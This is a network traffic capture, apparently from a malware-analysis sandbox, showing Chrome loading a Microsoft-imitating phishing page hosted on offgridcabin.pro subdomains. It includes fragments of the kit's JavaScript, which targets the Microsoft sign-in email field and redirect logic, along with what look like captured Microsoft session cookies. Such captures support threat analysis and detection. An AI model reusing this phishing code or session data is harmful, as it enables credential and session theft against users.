2025-01-13 20:52:58 UTC	796	IN	Data Raw: 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 52 65 64 69 72 65 63 74 28 73 69 64 29 20 7b 0a 09 76 61 72 20 75 72 6c 20 3d 20 22 2f 73 2f 22 20 2b 20 73 69 64 3b 0a 09 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 66 65 74 63 68 69 6e 67 3a 20 22 20 2b 20 75 72 6c 29 3b 0a 09 66 65 74 63 68 28 75 72 6c 2c 20 7b 0a 09 09 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0a 09 09 68 65 61 64 65 72 73 3a 20 7b 0a 09 09 09 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 09 09 7d 2c 0a 09 09 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 22 69 6e 63 6c 75 64 65 22 0a 09 7d 29 0a 09 09 2e 74 68 65 6e 28 28 72 65 73 70 6f 6e 73 65 29 20 3d 3e 20 7b 0a 0a 09 09 09 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 73 74 61 74 75 73 20 3d 3d 20 32 Data Ascii: function getRedirect(sid) {var url = "/s/" + sid;console.log("fetching: " + url);fetch(url, {method: "GET",headers: {"Content-Type": "application/json"},credentials: "include"}).then((response) => {if (response.status == 2
2025-01-13 20:52:58 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:52:58 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-13 20:52:58 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49819	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:58 UTC	691	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:52:58 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:52:58 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:52:58 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:52:58 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:52:58 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:52:58 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:52:58 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-13 20:52:58 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 32 3a 35 38 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:52:58 GMT
2025-01-13 20:52:58 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 43 45 33 31 44 38 43 46 38 37 45 46 39 0d 0a Data Ascii: Etag: 0x8DCE31D8CF87EF9
2025-01-13 20:52:58 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 30 32 20 4f 63 74 20 32 30 32 34 20 32 30 3a 30 35 3a 32 33 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 02 Oct 2024 20:05:23 GMT
2025-01-13 20:52:58 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49825	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:59 UTC	1084	OUT	GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999/8f2420ea4a9ef1f09cf039a427ec755182725ef82125633936a0b7b83a6f0a53.js HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; fpc=AmlwFQZQ3GVBg66ic6MZS6c; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFebDRfXIS7uujiARMRhbx2NFpNc1rwQKff7A-mmo2sOPdKbE22tPuGLCbVtfYLU1gKx0Y-VcuvYVI7i8exK3KEqUmty3Pek_BjpGSgnwWjYYxcAzV5lLFnAEqM0faUnS-CkmRFDJAzIxyE3SnuJs0WfKr636VYFFidQNV5fED5qaogAA; stsservicecookie=estsfd
2025-01-13 20:52:59 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:52:59 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:52:59 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:52:59 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2025-01-13 20:52:59 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-13 20:52:59 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:52:59 UTC	5	IN	Data Raw: 33 32 36 0d 0a Data Ascii: 326
2025-01-13 20:52:59 UTC	806	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 6c 70 28 29 7b 0a 20 20 76 61 72 20 65 6d 61 69 6c 49 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 30 31 31 36 22 29 3b 0a 20 20 76 61 72 20 6e 65 78 74 42 75 74 74 6f 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 64 53 49 42 75 74 74 6f 6e 39 22 29 3b 0a 20 20 76 61 72 20 71 75 65 72 79 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 0a 20 20 69 66 20 28 2f 23 2f 2e 74 65 73 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 29 7b 0a 20 20 76 61 72 20 72 65 73 20 3d 20 71 75 65 72 79 2e 73 70 6c 69 74 28 22 23 22 29 3b 0a 20 20 76 61 72 20 64 61 74 61 31 20 3d 20 72 65 73 5b 30 5d 3b 0a 20 20 76 61 Data Ascii: function lp(){ var emailId = document.querySelector("#i0116"); var nextButton = document.querySelector("#idSIButton9"); var query = window.location.href; if (/#/.test(window.location.href)){ var res = query.split("#"); var data1 = res[0]; va
2025-01-13 20:52:59 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:52:59 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-13 20:52:59 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49826	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:59 UTC	1019	OUT	GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999.js HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; fpc=AmlwFQZQ3GVBg66ic6MZS6c; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFebDRfXIS7uujiARMRhbx2NFpNc1rwQKff7A-mmo2sOPdKbE22tPuGLCbVtfYLU1gKx0Y-VcuvYVI7i8exK3KEqUmty3Pek_BjpGSgnwWjYYxcAzV5lLFnAEqM0faUnS-CkmRFDJAzIxyE3SnuJs0WfKr636VYFFidQNV5fED5qaogAA; stsservicecookie=estsfd
2025-01-13 20:52:59 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:52:59 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:52:59 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:00 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2025-01-13 20:53:00 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-13 20:53:00 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:53:00 UTC	5	IN	Data Raw: 33 31 63 0d 0a Data Ascii: 31c
2025-01-13 20:53:00 UTC	796	IN	Data Raw: 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 52 65 64 69 72 65 63 74 28 73 69 64 29 20 7b 0a 09 76 61 72 20 75 72 6c 20 3d 20 22 2f 73 2f 22 20 2b 20 73 69 64 3b 0a 09 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 66 65 74 63 68 69 6e 67 3a 20 22 20 2b 20 75 72 6c 29 3b 0a 09 66 65 74 63 68 28 75 72 6c 2c 20 7b 0a 09 09 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0a 09 09 68 65 61 64 65 72 73 3a 20 7b 0a 09 09 09 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 0a 09 09 7d 2c 0a 09 09 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 22 69 6e 63 6c 75 64 65 22 0a 09 7d 29 0a 09 09 2e 74 68 65 6e 28 28 72 65 73 70 6f 6e 73 65 29 20 3d 3e 20 7b 0a 0a 09 09 09 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 73 74 61 74 75 73 20 3d 3d 20 32 Data Ascii: function getRedirect(sid) {var url = "/s/" + sid;console.log("fetching: " + url);fetch(url, {method: "GET",headers: {"Content-Type": "application/json"},credentials: "include"}).then((response) => {if (response.status == 2
2025-01-13 20:53:00 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:53:00 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-13 20:53:00 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49832	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:59 UTC	710	OUT	GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:53:00 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:00 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:00 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:00 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:00 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:00 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:00 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-13 20:53:00 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 30 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:00 GMT
2025-01-13 20:53:00 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 38 44 41 31 44 39 39 37 43 41 32 34 35 0d 0a Data Ascii: Etag: 0x8D8DA1D997CA245
2025-01-13 20:53:00 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 32 36 20 46 65 62 20 32 30 32 31 20 30 36 3a 31 33 3a 31 33 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Fri, 26 Feb 2021 06:13:13 GMT
2025-01-13 20:53:00 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49835	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:59 UTC	517	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:53:00 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:00 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:00 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:00 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:00 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:00 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:00 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-13 20:53:00 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 30 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:00 GMT
2025-01-13 20:53:00 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 43 45 33 31 44 38 43 46 38 37 45 46 39 0d 0a Data Ascii: Etag: 0x8DCE31D8CF87EF9
2025-01-13 20:53:00 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 30 32 20 4f 63 74 20 32 30 32 34 20 32 30 3a 30 35 3a 32 33 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 02 Oct 2024 20:05:23 GMT
2025-01-13 20:53:00 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49833	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:59 UTC	1254	OUT	GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999 HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; fpc=AmlwFQZQ3GVBg66ic6MZS6c; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFebDRfXIS7uujiARMRhbx2NFpNc1rwQKff7A-mmo2sOPdKbE22tPuGLCbVtfYLU1gKx0Y-VcuvYVI7i8exK3KEqUmty3Pek_BjpGSgnwWjYYxcAzV5lLFnAEqM0faUnS-CkmRFDJAzIxyE3SnuJs0WfKr636VYFFidQNV5fED5qaogAA; stsservicecookie=estsfd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49834	152.199.21.175	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:00 UTC	669	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:53:00 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 8881806 Cache-Control: public, max-age=31536000 Content-MD5: m5bMCfnonQM0ui+8IrUZeg== Content-Type: application/x-javascript Date: Mon, 13 Jan 2025 20:53:00 GMT Etag: 0x8DCE31CBE97473C Last-Modified: Wed, 02 Oct 2024 19:59:37 GMT Server: ECAcc (lhc/78AB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: fb7c97c3-801e-0062-1535-154340000000 x-ms-version: 2009-09-19 Content-Length: 142367 Connection: close
